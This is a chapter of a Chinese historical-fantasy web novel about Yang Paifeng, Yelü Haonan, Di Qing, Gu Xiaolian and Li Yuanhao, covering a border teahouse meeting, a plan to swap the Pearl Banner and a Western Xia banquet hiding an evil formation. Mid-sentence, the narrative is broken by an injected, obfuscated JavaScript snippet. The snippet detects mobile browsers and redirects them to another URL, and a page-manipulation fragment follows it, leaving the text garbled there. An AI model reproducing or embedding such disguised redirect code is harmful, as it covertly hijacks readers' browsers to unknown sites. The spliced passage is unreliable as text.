礼毕,她直起身,没有再看堂上两人一眼,也没有丝毫犹豫,转身,一步一步,走向洞开的、漆色斑驳的朱红门槛。夜风呼啸着灌入,吹得她单薄的素色衣裙紧贴身体,猎猎作响,勾勒出过于清瘦的轮廓。跨过那道门槛时,她的背脊挺得笔直,仿佛一杆宁折不弯的枪,又像一株即将被狂风连根拔起的苇草。 门外,是无边浓重的夜色。天波府巍峨的府门在她身后缓缓合拢,发出沉重而决绝的“吱呀”声,最终“砰”地一声闷响,严丝合缝。那声音,仿佛斩断了她与过去二十年人生之间,最后一根无形的、温暖的牵绊。 夜风卷起她散落的发丝和空荡的衣袂,寒意刺骨。她仰起头,望向漆黑无星的天幕,那里仿佛映着西北方向,某个未知的、充满血光与煞气的地方。没有泪,眼中只有一片荒芜的、比夜色更深的决绝。 她知道,从此,路要自己走了。为了她的孩子,纵然前方是刀山火海,是无间地狱,她也必须去闯。 ------ 宋夏边境,荒芜官道,茅草茶寮 数日后,宋夏边境。这里已是迥异于京师的景象,天地苍黄,四野空旷,唯有一条被车马碾出深深辙印的官道,蜿蜒伸向天际。风是这里永恒的主人,卷着粗粝的黄沙与枯草,呜咽着掠过荒原,扑打得道旁一间孤零零的茅草茶寮吱呀作响,仿佛下一刻就要散架,化作一堆枯草融入这片荒凉。 耶律皓南倚着茶寮斑驳掉漆的窗框坐下,身下粗陋的长条木凳硌人。他换了一身毫不起眼的青灰色细葛布袍,料子是江南常见的式样,洗得有些发白,束着同色布带,乍看像个奔波生计的普通行商。然而,那过于挺直的腰背线条,即使刻意放松,也依旧透出一种久居上位、经年淬炼出的凝练与警觉,那是北地贵族与沙场宿将融于骨血的气质,难以完全掩饰。原心归位后,他眉宇间常年萦绕的、因反噬与排斥而生的阴鸷戾气,已然化入一片深潭般的沉静,只是那平静之下,是更可怕的幽邃。唯有偶尔,当他望向西北兴庆府方向时,眼底才会掠过一丝深藏的、焦灼如焚的暗光——那是天门阵反噬虽除却犹有余痛的隐痕,与骨肉被掳、生死未知的焚心之痛交织出的、无法磨灭的痕迹。 邻桌,坐着一位作商旅打扮的汉子。他头戴遮阳挡风的阔边毡帽,身穿半旧驼褐色短打,外罩挡风沙的皮质披肩,看似寻常。但那随意坐着的姿态,腰背却挺如荒漠中不倒的胡杨,沉稳如山。他执起粗陶茶盏的手指,虎口处覆盖着厚厚一层、颜色深褐如铁锈的老茧,深刻而坚硬——那是长年紧握重戟、引拉强弓留下的、战士独有的印记,无论如何伪装也难以消除。正是奉密旨巡查边境、化身行商的宋军将领,狄青。 狄青指尖缓慢摩挲着粗陶茶盏粗糙的边缘,目光似是不经意地扫过邻桌耶律皓南因执盏而微露的袖口。那里,手腕骨节分明,肤色冷白,一道颜色浅淡、却形状奇特、宛如北斗七星中“杓柄”的淡金色旧疤,若隐若现。狄青瞳孔几不可察地微微一缩——他曾于宫中秘档与边关老卒口述中,听说过这种痕迹,传闻是辽国雪山深处那些神秘大巫一脉秘传的“星痕”,据说是某种古老传承或契约的标记,非其核心门人不可得。此人…… “阁下观这天象,” 耶律皓南忽然将手中粗陶茶盏轻轻一推,盏中清水因这力道而在布满刀痕与污渍的木桌皱痕间漫开。他并未抬头,只伸出食指,就着那摊开的水渍,随意勾勒。清水随着他指尖的移动,竟诡异地聚而不散,缓缓形成几道蜿蜒的轨迹,隐隐构成星斗排列之象。“西北方向,煞气隐现,直冲紫微帝星。贪狼暗淡,光掩于浊云之中……” 他指尖在某处微微一顿,水纹荡漾,那被点出的“紫微”星位,分明遥遥指向西夏国都兴庆府的方向,“恐有臣强主弱,萧墙祸起,血光噬主之兆。” 声音平淡,仿佛真是茶余饭后闲谈天象。 狄青指节在桌面上不轻不重地一叩。 “咚。” 一声闷响,桌面微震,那聚拢的水痕星图应声震散,化作一片无序的湿迹。“天象玄远,星野之说,终究虚无缥缈。” 他声如质地极佳的金石轻轻相击,清越中带着沉稳的力道,目光却如打磨过的刀锋,缓缓刮过耶律皓南平静的侧脸,试图从那深邃的眉眼中刮出一丝破绽,“不及边关铁蹄踏地的震动真实,不及探马斥候回报的军情紧要。倒是……” 他话锋一转,带着商贾特有的圆滑与试探: “我等行商之人,重的是南货北卖的差价,关心的是路途是否太平,税卡是否严苛。阁下何以对这千里之外的军国煞气、天象吉凶,如此……关切?” 四目相对,一触即分。空气中却似有无形的弦被悄然绷紧。 二人看似随意地攀谈起来,从阴山隘口的地势险峻,谈到河西走廊粮道转运的艰难;从西域胡商带来的香料价格波动,聊到今年河套地区的水草丰歉……言词往来,看似寻常商旅交流见闻,实则机锋暗藏,每一句都在试探对方的底细、见识与立场。耶律皓南对边境地理、部落民情的熟悉程度,令狄青暗自心惊;而狄青对商路、货殖、民生细节的如数家珍,以及偶尔流露出的、超越普通商贾的宏大格局与敏锐,也让耶律皓南眼底暗光流转。 直到耶律皓南似是无意间,将话题引向西域流传的某些诡异传说,提及“有邪阵需以特殊命格之人的魂魄元神为引,可逆乱阴阳,威力无穷,然则伤天害理,必遭天谴”时,他语气平淡,仿佛在说一件遥远的奇闻。 狄青执壶续茶的手,几不可察地微微一顿。壶嘴悬停半空,一滴浑浊的茶水溅出,砸在斑驳的桌面上,迅速洇开一小片深色湿痕,形状竟有几分刺目。 “邪阵逆天,纵使得逞一时,亦必遭反噬,祸及己身,累及子孙,此乃天道。” 狄青放下茶壶,声音依旧平稳,却字字清晰,他抬眼,目光如雪地反射的冰冷天光,直直刺入耶律皓南眼中,不再掩饰其中的锐利与审视,“只是……” 他顿了顿,仿佛在斟酌词句,又似在给予最后的机会: “狄某早年跑商,也见过边地诸多艰难抉择。有时,救一人而可能纵虎归山,贻害无穷;杀一人而可绝后患,永保安宁。当此之时,身为局中人,该如何选?是顺一时之心,顾眼前之情,还是……” 他目光如炬,紧紧锁住耶律皓南,“忍一时之痛,谋万世之安?” 茶寮外,风声骤然加剧,卷起更大的黄沙,扑打在薄薄的窗纸上,哗啦作响,仿佛无数细砂击打,又似千军万马隐隐的奔腾。荒原的呜咽风声穿过茅草的缝隙,带来远方的苍凉与杀伐之气。 耶律皓南袖中的五指,倏地收拢,指尖陷入掌心。新愈的心脏传来一阵尖锐的刺痛,不知是被狄青话语所激,还是血脉感应到了那被困孩儿所处的险恶环境。他想起师叔凌霄子当年那句飘渺的偈语“因果如环,善恶有报”,更清晰地想起三日前于命盘中窥见的那一抹灼灼耀目、却蒙着血光的武曲星芒——那是他的骨血,在这世间最清晰的印记。 无数念头电光石火般掠过脑海:家国仇恨,天下苍生,阴谋算计,血脉牵绊……最终,都凝聚为那张稚嫩模糊、唯有眉心朱砂清晰的小脸。 他缓缓松开手指,面上依旧无波无澜,只淡淡道,声音淹没在风沙呜咽中,却带着一种斩断所有退路的决绝: “虎狼环伺,危机当前。既见稚子陷于必死之局,何妨先取眼前必救之人?至于纵虎归山……” 他抬眼,迎上狄青的目光,眼底深潭波澜不起,却隐有寒冰碎裂之声,“焉知今日救下之人,来日不会成为斩虎之刃?” 风沙漫卷,几乎遮蔽了窗外视线。二人目光在昏黄的光线与飞舞的尘埃中一触即分,彼此都看清了对方眼底的决意、警惕与那未曾明言的、某种层面的“理解”。此次荒原茶寮的试探,并未缔结任何明面的同盟,却似一局错综复杂的棋局悄然开盘,各自在心底埋下了一着关乎大局、也关乎各自信念与软肋的暗棋。无声的较量已然开始。 狄青起身,系紧被风吹动的披风带子,临出门前,忽地回眸一瞥,目光掠过耶律皓南那身与边境风沙格格不入的“江南细葛袍”,语气听不出情绪: “边关风沙酷烈,昼夜温差悬殊。阁下这身江南的细葛袍,虽轻便,却难御寒。还是换作驼绒、皮裘更为妥帖。” 耶律皓南执盏的手稳如磐石,连杯中水纹都未惊动半分。他未看狄青,只望着窗外昏黄的天地,声音平静无波: “不劳费心。塞北的风雪再酷烈,也未必……冻得穿辽阳的貂。” 狄青目光微凝,不再多言,转身踏入漫天风沙之中,身影很快被黄尘吞没。耶律皓南独自坐在吱呀作响的茶寮内,听着窗外永恒的风吼,慢慢饮尽了杯中已凉的粗茶。眸中,算计、焦灼、决绝,最终都归于一片深不见底的幽暗。 他知道,路还很长,而最大的风暴,尚未到来。 ------ 顾小怜的茅屋 边镇偏僻处,一间低矮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185030|196997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的茅屋,窗纸昏黄,在渐密的夜雨中显得孤寂而温暖。屋内陈设简单,却洁净,弥漫着浓浓的草药苦涩气味。墙角泥炉上,一只陶罐正咕嘟咕嘟地熬着药,蒸汽顶得罐盖轻轻作响。 顾小怜将刚煎好、滤去药渣的褐黑色汤药,倒入一只粗陶碗中,小心翼翼地递给靠在简陋木榻上的杨排风。她动作间,腕间一只式样古朴的银镯滑下,磕在碗沿,发出“叮”一声清凌凌的脆响,在寂静的雨夜中格外清晰,似她此刻无论如何也平静不下来的、微微震颤的心绪。 她望着泥炉中跳跃的、橙红色的火光,眼神有些恍惚,喃喃低语,声音轻得像怕惊扰了什么: “李元昊……他曾是个无家可归的‘苦儿’。” 火光跃动在她苍白清瘦的脸上,映出几分遥远而柔软的温柔,那是属于很久以前、另一个时空的记忆,“我遇见他时,是在陇右的一个破庙里。大雪封山,他冻得嘴唇发紫,却把好不容易讨来的半个硬饼子,分了一半给一只瘸腿的野狗……” 她似乎陷入了回忆,语速很慢: “我教他识字……他学得很认真,却又很小心。连握笔,都怕用力太大伤了脆弱的纸页,总用指尖……虚虚地托着笔杆,那样子……” 她唇边掠过一丝极淡、却真实的笑意,眼中水光氤氲,“像捧着一只刚刚破壳、绒毛未干的雀儿,那么轻,那么怕……” 语声忽地哽住,那点温柔的笑意瞬间被巨大的凄怆与痛苦撕裂、淹没。她猛地闭上眼睛,再睁开时,只剩一片冰凉的绝望: “可现在的西夏国主……为了炼制那灭绝人性的‘天魔诛仙阵’,竟要活生生抽取一个孩童的元神!那孩子……那孩子……” 她看向杨排风,眼中是无法掩饰的震惊与痛惜,“我虽未亲眼见过,但狄将军带来的消息说,那孩子命盘中……武曲星的光芒灼灼耀目,与我当年……在我那‘苦儿’的命盘里,无意间窥见的那一抹隐晦的紫气……如出一辙……” 她没再说下去,但意思已然明了。李元昊,或许天生就带着某种不凡却也危险的命格,而如今,他竟将魔爪伸向了另一个同样拥有非凡命格、却更无辜脆弱的孩子。 就在这时,茅屋简陋的木门被推开,挟着一股湿冷的夜气。狄青肩头雨水簌簌落下,在地面夯实的泥土地上迅速洇开一小片深色的水痕。他反手关上门,将凄风苦雨隔绝在外,但眉宇间的凝重却比屋外的夜更沉。 “珍珠旗的下落,查清了。” 狄青开门见山,声音因寒冷和急迫而有些发涩,目光如炬,扫过顾小怜瞬间绷紧的身体和紧攥的衣袖,“被西夏宫廷内应、百花公主盗出,已秘密献给了李元昊。如今,那旗被供于兴庆府深宫内某处秘殿,由李元昊最精锐的‘铁鹞子’亲卫和招揽的邪道术士重重看守,视为炼制天魔阵的关键之物。” 他向前两步,逼近顾小怜,紧紧盯着她的眼睛,不放过她任何一丝细微的表情变化: “顾姑娘,你之前所言‘李代桃僵’之计,狄某已反复思量。你当真决心已定,要仿制一面足以乱真的假‘珍珠旗’,伺机接近,换出真旗?” 他语气沉凝,带着沙场宿将特有的、对危险的敏锐直觉,“此去凶险万分,兴庆府如今龙潭虎穴,李元昊本人更是心思诡诈、修为难测。一旦被识破,你可知会是何种下场?届时,恐怕求死都难。” 顾小怜指节攥得发白,用力到几乎要掐进自己的皮肉里,袖口用银线绣着的、象征清净的缠枝莲纹,似乎都要被她生生掐断、扭曲。她抬起头,脸上已无泪痕,只有一片哀戚到极致后的平静,与一种破釜沉舟般的坚定: “狄将军,我顾小怜……欠天波府一条命。当年若非杨元帅路过相救,我早已病死在荒郊。” 她声音很低,却字字清晰,带着血泪的重量,“我更欠……欠‘苦儿’一段永远无法偿还、也永远无法厘清的孽债情仇。” 她喉头剧烈地滚动了一下,仿佛咽下无数酸楚: “当年,他恢复记忆,知晓自己身世后,为铲除可能泄露他落魄过往的痕迹,竟……竟屠尽了当年收留过我们、给过我们一碗饭、一件破衣的整个村落!男女老幼,无一幸免……那一地的血,我至今不敢忘。” 泪水终于无声滑落,她却恍若未觉,“而我……我明知他心性已变,野心滋生,却因着往日那点可笑的温情与心软,未能及早狠心阻他,甚至……甚至曾心存侥幸,以为他能回头……终至养虎为患,酿成今日之祸。李元昊有今日之猖狂,炼此邪阵,我顾小怜……难辞其咎!” 她猛地抓住狄青的手臂,指尖冰凉,却带着惊人的力度,眼中是孤注一掷的疯狂与哀求: “若能以这仿制的假旗,换取一次接近秘殿、或许能靠近那被囚孩童的机会……哪怕只有万一的希望,我也要去!我只想……只想当面问他一句……” 她声音哽咽,破碎在雨声中: “当年破庙大雪,我们分食的那个冰冷的、硬得像石头的馒头……可还……可还有一丝暖意,留在你心里?” 就在这时,原本靠坐在榻上、静静听着的杨排风,倏然撑起身子,动作太急,碰翻了榻边小几上的药碗。褐色的汤药泼洒出来,在简陋的榻边和泥地上溅开几滩深色痕迹,宛如心头淋漓的血。 “我随顾姑娘同去!” 杨排风的声音沙哑,却异常清晰坚定。她目光灼灼,掠过顾小怜哀戚却决绝的眉眼——那里面盛载的,是一个女人在忠义、恩情、爱情与良知间被撕裂、被煎熬、最终选择孤注一掷赎罪的灵魂。她仿佛看见了另一个自己,另一个在国仇家恨、养育之恩与那孽缘般难以割舍的情愫、以及对骨肉无法放下的牵绊中,日夜撕扯、血肉模糊的杨排风。 耶律皓南剜心炼阵时的疯狂决绝,天门阵前无数阴魂的凄厉哭嚎,还有那孩儿命盘中灼灼耀目、却蒙着血光的武曲星芒……与眼前女子口中“雪地分食的冰冷馒头”的画面,重重叠叠在一起,化作一种刺穿灵魂的共鸣与悲怆。爱上枭雄的女人,是否都注定要在情义与道义的天平上,被碾碎成齑粉? “便说……” 杨排风快速思忖着,语气果决,“我是顾姑娘你早年游历宋境时结识的医女,曾机缘巧合,治好了几支西夏商队爆发的古怪疫病,因此略通西夏语,也对西夏一些民间偏方有所了解。你重金雇我同行,一是为照料你身体,二是或许……或许能凭此身份,多探听些内宫消息,或有机会接触被囚之人。” 雨点密集地敲打着窗棂,发出急促的啪啪声,水痕蜿蜒流下,模糊了窗外漆黑的夜色,宛如泪痕。 顾小怜转过身,冰凉沾着泪痕的手指,猛地反握住了杨排风的手腕。两只女人的手,一只腕间戴着辽国巫医留下的淡金色奇异咒痕,一只腕上套着中原医女常用的素银镯子,此刻紧紧交握。银镯相撞,发出清越却又带着凄凉的脆响,混入窗外无休无止的雨声中。 “你可知……” 顾小怜看着杨排风,眼中是过来人深切的悲悯与了然,声音轻得像叹息,“爱上李元昊、耶律皓南这等枭雄的女子,最后……不是以身殉了心中那份残存的情义与良知,便是被这无望的爱与恨拖拽着,一同坠入魔道,万劫不复?” 杨排风垂眸,看着二人紧紧交握的手。不同的痕迹,却似乎染着同样的、属于“爱上枭雄的女人的”无奈、痛苦与决绝。她想起耶律皓南,想起天门阵,想起那个未谋面几面的孩子,想起离开天波府时那沉重的关门声…… 良久,她抬起眼,看向顾小怜,也仿佛看向未知的、凶险重重的未来,低声说道,每一个字都落在雨声里,清晰而坚定: “顾姑娘,那些大道理,那些后果……我都想过,或许想得还不够透彻。但我只知,若此刻因惧怕那‘可能’的万劫不复,便连试都不去试,连靠近他都做不到,连孩子的面都见不着,那么……” 她顿了顿,声音更轻,却带着一种穿透风雨的力量: “那么我的余生,将不再是活着。只是一具行走的躯壳,内心永远下着一场不会停的、冰冷的、名为‘悔恨’的雪。那比死,比成魔,更让我恐惧。” 顾小怜凝视着她,许久,缓缓松开了手,却又轻轻拍了拍她的手背,那是一个无声的、同病相怜的盟约。 “好。” 顾小怜只说了这一个字,转身走向屋内唯一的木桌,上面摊开着一些罕见的布料、丝线与几颗黯淡的、试图模仿珍珠光泽的鱼目。她的侧影在昏黄油灯下,显得孤独而坚韧。 窗外,夜雨滂沱,仿佛要洗净世间一切污浊与罪孽,却又将更多的黑暗与未知,推向这两个决心已定的女人面前。 前路漫漫,凶吉未卜。但有些路,明知遍布荆棘,染满血泪,却不得不走。 3. 风云暗涌 西夏王庭夜宴 琉璃灯盏如星辰坠落,密密麻麻缀满大殿穹顶,每一盏皆以七彩琉璃烧制,内嵌鸽卵大小的夜明珠,光华流转,将这座位于兴庆宫深处的“天煞殿”映照得金碧辉煌,恍如白昼。四壁并非寻常彩绘,而是以金箔混合某种暗红矿物研磨的粉末,勾勒出巨大而诡异的、仿佛在缓缓蠕动的曼荼罗图腾,在过于明亮的光线下,金红交错,晃得人眼晕心悸。 兽首铜炉分立殿角,皆作狰狞的睚眦张口状,口中不断吐出浓郁到化不开的极品沉香烟雾。那香气本该宁神静心,此刻却与丝竹管弦刻意营造的靡靡之音、与空气中无形流淌的暗涌杀机混合在一起,形成一种令人窒息的甜腻与压力,沉甸甸地压在每一个赴宴者的心头。 李元昊高踞于九级鎏金台阶之上的蟠龙王座。他并未着正式的冕服,只一身玄色暗金龙纹织锦常服,腰间束着镶有血色玛瑙的蹀躞带,鹰隼般锐利深邃的眼眸缓缓扫过阶下分列两班、屏息垂首的西夏文武臣子,最终,如同锁定猎物的苍鹰,稳稳定格在右侧客席首位——那位来自辽国的“特使”身上。 他举起身前案上那只硕大的、以整块羊脂白玉雕琢而成的酒樽,腕间数只沉甸甸的金镯随着动作相互碰撞,发出冰冷而富有穿透力的“铿铿”之声,在瞬间寂静下来的大殿中回荡。他笑声洪亮,带着草原霸主特有的豪迈,却又在尾音处微妙地扬起一丝令人脊背发凉的锋利审视: “哈哈哈!耶律特使远道而来,一路风霜,朕心甚慰!大辽与西夏,同处北地,共御强宋,实乃唇齿相依、休戚与共之邦!今日特使莅临,朕特设此宴,聊表心意——当尽欢!不醉不归!” 耶律皓南一身代表辽国南院大王身份的深紫色官服,以银线绣着繁复的云纹与暗藏的狼首,衬得他面容愈发苍白清冷。玉带紧束,扣头处狼眼以两点墨玉镶嵌,在琉璃灯下偶尔闪过幽光。他姿态从容地坐于席上,背脊笔直如松,气息沉静如古潭深水,仿佛周遭的一切奢华、压力、窥探都与他无关。 他修长的指尖在光洁的紫檀木案几上,随着殿中乐师弹奏的、带着明显西域风情的急促琵琶声,极轻、极有韵律地叩击着,似在闲适地欣赏音律。然而,那双深不见底的眼眸,却已借着举杯饮酒的间隙,将大殿各处细节尽收眼底——尤其是那些看似装饰、蜿蜒盘绕在殿梁、金柱、甚至穹顶藻井之中的青铜符链! 那些符链粗如儿臂,色泽暗沉发黑,表面铭刻着密密麻麻、与当年天门阵如出一辙却更加诡邪的符文。它们并非死物,而是在缓缓地、以肉眼难辨的速度蠕动、交缠,如同拥有生命的黑色巨蟒。更令人心悸的是,符链的核心骨架,隐隐透出一股耶律皓南熟悉到灵魂颤栗的阴煞气息——那是天门阵的残骸!被李元昊不知以何种手段攫取、炼化,重新构筑!而驱动这庞大邪恶符阵的能量核心,则是一股暴戾、贪婪、充满侵略与吞噬欲望的星煞之力——贪狼星煞! 这整座奢华恢宏的“天煞殿”,连同其下的地基,已然被李元昊炼成了一座巨大无比的、活着的“天魔诛仙阵”!此刻正在无声运转,贪婪地汲取着地脉阴气、宴席上的生人气息,甚至……在隐隐蚕食、同化着耶律皓南当年为掌控天门阵而刻入阵法核心、与他血脉神魂相连的那独门印记! 最让耶律皓南袖中手指猝然收拢、指甲几乎刺破掌心的是——那无数符链汇聚、阵眼所在的核心深处,他清晰地感应到了一缕微弱却无比熟悉、与他血脉同源、此刻正被强行抽取、束缚、即将成为祭品的星芒气息——武曲星!那是他孩儿的元神本源! 滔天的怒意与杀机在胸中轰然炸开,几乎要冲破他冷静的躯壳。那颗刚刚归位、尚在温养的原心,因这极致的情绪与血脉感应而狂跳剧痛。但他面上,依旧波澜不惊,甚至顺着李元昊的话,优雅地举起了面前的玉杯,语气平淡无波,听不出丝毫异样: “陛下盛情,本使心领。我大辽皇帝陛下亦对夏主雄才大略甚为钦佩。本使此来,正是奉我主之命,愿与陛下共商边境榷场、茶马贸易安定繁荣之大计,以固两国邦交,同享太平。” 他语调平稳,说着最冠冕堂皇的外交辞令,仿佛真是一位只为通商贸易而来的寻常使臣。唯有在宽大袖袍的遮掩下,那只刚刚叩击桌面的手,指节因用力而发白,轻微地颤抖着,泄露着心底足以焚天煮海的惊涛骇浪。 酒过三巡,歌舞渐酣。 李元昊忽然挥手,示意乐舞暂歇。他脸上带着几分酒意熏染的微红,目光灼灼地看向耶律皓南,笑道:“久闻耶律特使不仅精通政务,更对中原奇门遁甲、星象阵法颇有涉猎,堪称学究天人。朕近日偶得一卷古画,其上所绘星图玄奥,朕与国中几位法师参详许久,仍不得其解。特使既在,何妨近前一观,为朕解惑?” 说罢,不等耶律皓南回应,已有内侍躬身捧上一卷以紫檀为轴、明黄锦缎为面的画轴,在李元昊面前的御案上缓缓展开。 画上所绘,并非山水人物,而是一幅以浓烈到刺目的朱砂,混合着某种令人作呕的甜腥气息(耶律皓南瞬间辨认出,那是童女心头血特有的阴秽之气)绘制而成的巨大星宿阵法图!图谱繁复诡谲,星辰错位,煞气冲天,正是那座笼罩大殿的“天魔诛仙阵”的核心枢机详图!其中关窍、脉络、生门死位,标注得清清楚楚,甚至比耶律皓南方才暗中观察所窥更多细节、更为凶险! 李元昊身体微微前倾,鹰目中精光闪烁,带着一种猫戏老鼠般的残忍与探究,伸出食指,指尖带着内力,轻轻点向阵图正中央一处明显扭曲、断裂、光芒黯淡的裂隙所在。 “特使请看此处,” 李元昊声音压低,带着蛊惑与一丝不易察觉的急切,“此乃此阵唯一瑕疵,亦是关键所在。朕翻阅古籍,得知若有一物,天生至刚至阳,主掌杀伐兵戈,其元神至纯至烈……以此为引,注入此裂隙,非但可补全阵法,更能化煞为权,反哺己身,令阵法威力倍增,操控由心……” 他抬眼,死死盯住耶律皓南瞬间收缩的瞳孔,一字一顿,如同恶魔低语: “不知特使以为……此法,可行否?” 那裂隙的位置、形状、气息……耶律皓南再熟悉不过!正是当年天门阵被穆桂英率军拼死攻破时,留下的最致命、最无法修复的创伤!李元昊竟想以他亲生骨肉、那身负武曲星命格孩儿的元神为“药引”,强行填补、炼化这天门阵的残骸,彻底掌控并强化这座“天魔阵”!不仅要他孩儿的命,更要利用他孩儿特殊的命格与血脉,来补全、甚至超越他耶律皓南当年未能完全掌控的天门阵! 这是何其恶毒!何其猖狂! 耶律皓南背脊几不可察地微微一僵,随即恢复如常。他敛下眼眸,浓密的长睫遮住了眼底瞬间翻涌的猩红杀意与冰寒。袖中,那枚从不离身的玄铁罗盘正在疯狂转动,指针震颤不休,显示出此地气机混乱凶险到极致。他轻轻牵动嘴角,似乎真的在仔细思索,然后抬眸,迎上李元昊的目光,唇边甚至漾开一抹极淡、近乎讥诮的轻笑: “陛下奇思,令人惊叹。然则……” 他微微摇头,语气带着一种近乎悲悯的冷静,“贪狼主煞,性烈而贪,噬主反噬,古来有训。强行融合此等异阵残骸,更以禁忌之法催动,犹如饮鸩止渴。初时或觉酣畅,然鸩毒入髓,恐非但不能化煞为权,反会引火烧身,噬尽国运根基,累及……陛下自身安康。” 他话音清晰平和,却字字如重锤,敲在殿中每一个懂行之人心上。几个侍立在一旁、身着古怪黑袍的西夏法师,脸色瞬间变得极为难看。 就在这时—— “哐当!哗啦——!” 殿角忽然传来一阵突兀的玉器碎裂声响,在寂静下来的大殿中格外刺耳! 众人循声望去,只见随侍在百花公主身侧、一身西夏侍女装扮的顾小怜,不知为何失手打翻了手中捧着的金盘,盘中几只精致的碧玉酒盏滚落在地,摔得粉碎,琥珀色的酒液泼洒了一地,也溅湿了她的裙摆。 李元昊面色骤然一沉,方才谈论阵法时的狂热与深沉瞬间被不悦取代,浓眉拧起,鹰目中射出慑人的寒光。 不等他发作,他下首的百花公主已抢先冷笑出声,声音尖利,带着浓浓的嘲讽与恶意: “顾姑娘这是怎么了?莫不是见了故国旧人,心神不宁,连个盘子都端不稳了?” 她意有所指地瞥了一眼狄青的方向,又扫过顾小怜苍白的脸。 顾小怜仿佛被吓住了,脸色惨白如纸,身体微微发抖,嘴唇嗫嚅着,却发不出完整的声音,只慌乱地蹲下身想去收拾碎片。 “废物!” 李元昊从喉咙里滚出一声低沉的怒斥,猛地一挥袍袖,带起一阵劲风,“惊扰贵客,成何体统!滚下去!” 这一挥袖力道不轻,将顾小怜本就蹲伏不稳的身子带得一个趔趄,眼看就要扑倒在满地的碎玉尖锐之上! 然而,就在这电光石火之间,李元昊那挥出的、绣着狰狞龙纹的玄色袍袖,却几不可察地向侧下方微微一拂,袍角恰好挡在了顾小怜身前,将她与飞溅起来的几片锋利碎瓷隔开。动作快得几乎无人察觉,那粗暴的斥责与这下意识的保护举动形成了诡异的矛盾。 一直低眉顺眼侍立在百花公主身后、作医女打扮的杨排风,早已急步上前,一把扶住了摇摇欲坠的顾小怜,顺势将她带离那片狼藉。她垂着头,恭敬而卑微,仿佛只是尽婢女的本分。然而,在方才那一刹那,在李元昊袍袖拂出的瞬间,她清楚地看到了他眼中一闪而过的、绝非君主对失职婢女的恼怒,而是一种更复杂的、近乎慌乱的情绪——那不是一个睥睨天下的枭雄该有的眼神,倒像是一个笨拙的、害怕唯一温暖火光被风吹灭的“苦儿”,在危机面前本能的反应。 杨排风的心,重重一跳。 帷幔之后,光线昏暗。 杨排风扶着浑身冰冷颤抖的顾小怜,指尖无意中触碰到她宽大衣袖下、腕间一道凹凸不平的旧疤。那疤痕很长,很深,即使隔了多年,触感依旧清晰。是刀伤。 顾小怜仿佛被这道疤烫到,猛地一颤,抬起泪眼朦胧的眼睛,望向虚空,喃喃低语,声音轻得如同梦呓: “当年……在陇右,遇到马贼……他扑过来,用手臂替我挡了那一刀……流了好多血……他咬着牙,额头都是汗,却还笑着对我说……” 她喉头哽咽,泪水大颗大颗地滚落,砸在杨排风扶着她手臂的手背上,滚烫,“……‘疤在,我在。小怜,别怕。’” “疤在,我在。” 简简单单四个字,却仿佛耗尽了顾小怜所有的力气。她软软地靠在杨排风身上,无声地痛哭起来,肩膀剧烈地耸动,却死死咬住嘴唇,不让自己发出一点声音。那压抑的悲恸,比嚎啕大哭更令人心碎。 杨排风僵立着,任由她的泪水浸湿自己的手背,心中一片冰冷的茫然。她忽然想起,曾经自己怀中那油布包裹的原心上,是否也刻着某个人的“疤”?而那赠疤之人,如今正在外间,与另一个赠疤的“苦儿”,进行着一场关乎天下、也关乎他们骨血的危险博弈。 透过重重帷幔与摇曳的珠帘,杨排风的目光,不由自主地飘向外间。 李元昊似是为了缓和方才的尴尬,又似别有用心,已命人撤去酒席,换上了一副白玉棋盘,正邀耶律皓南“手谈一局”。两人对坐,李元昊执黑,耶律皓南执白。 耶律皓南落子时,衣袖随着动作翻飞。就在那一刹那,杨排风清楚地看到,他执棋的右手手腕内侧,靠近袖口遮掩处,有一枚铜钱大小、颜色深红近黑、仿佛被烈火灼烧后留下的狰狞疤痕!那疤痕的形状……竟与她怀中油布曾包裹的那颗原心上,某处最深的创痕,隐隐吻合!那是天门阵反噬留下的、刻入魂魄肉身的烙印! 她的呼吸骤然停滞。 无数记忆碎片呼啸着撞入脑海——黑水崖底山洞摇曳的火光,他重伤濒死时苍白的脸,破碎的语句,复杂难辨的眼神……最后,竟定格在某个被刻意遗忘的雨夜,他高烧昏迷中,紧紧攥着她的手,滚烫的唇贴着她冰凉的指尖,含糊地、一遍遍呓语: “排风……江山……与我……皆不如……你一笑……” 原来,那不是梦。 原来,暴君与魔头,剥开层层权力、野心、仇恨与血腥的外壳,内里竟都藏着一段见不得光、也抛舍不下的情愫。而这情愫,在冰冷残酷的现实与家国大义面前,是如此脆弱,如此可笑,却又如此……真实地存在着,成为他们唯一的软肋,也成了此刻,刺痛她心脏的利刃。 殿外,忽地炸响一道惊雷! 惨白的电光撕裂夜空,瞬间将殿内照得一片森然。 几乎在同一时刻,整座“天煞殿”猛地一震!那些盘绕的青铜符链骤然发出低沉的嗡鸣,表面血色符文疯狂流转,空气中弥漫的阴煞之气暴涨!仿佛地底有什么恐怖的巨兽被惊动,即将破土而出! 耶律皓南执棋的手,骤然一顿。白玉棋子悬在棋盘上方,微微颤抖。 他似有所感,倏然抬眸,目光如电,穿透晃动的珠帘与迷离的灯火,精准地捕捉到了帷幔后,那双同样充满惊骇、正望向他的眼睛——杨排风。 四目相对。 隔着笙歌宴舞的余韵,隔着刀光剑影的伪装,隔着国仇家恨的鸿沟,隔着六年生死两茫茫的时光……在这一刹那,电闪雷鸣与阵法异动的轰鸣中,他们却无比清晰地,在彼此眼中看到了完全相同的东西—— 深入骨髓的恐惧。 为那深陷阵眼、生死一线的孩儿。 为这情爱与大义交织、鲜血与权谋碾轧出的、令人绝望的修罗场。 宴席终散,气氛诡谲。 李元昊以“夜深雨急,特使安危为重”为由,“盛情”留耶律皓南宿于宫中专为贵客准备的“观星”偏殿。又“体恤”地允了顾小怜携其“医术尚可”的医女杨排风,随行入偏殿“照料”。 一行人沉默地穿行在迂回深邃的宫殿回廊中。廊外夜雨如瀑,敲打着廊檐下的宫灯,灯影在水汽中晕开一片朦胧昏黄的光圈,将众人的影子拉得扭曲变形,又揉碎在积水倒映的破碎光影里。 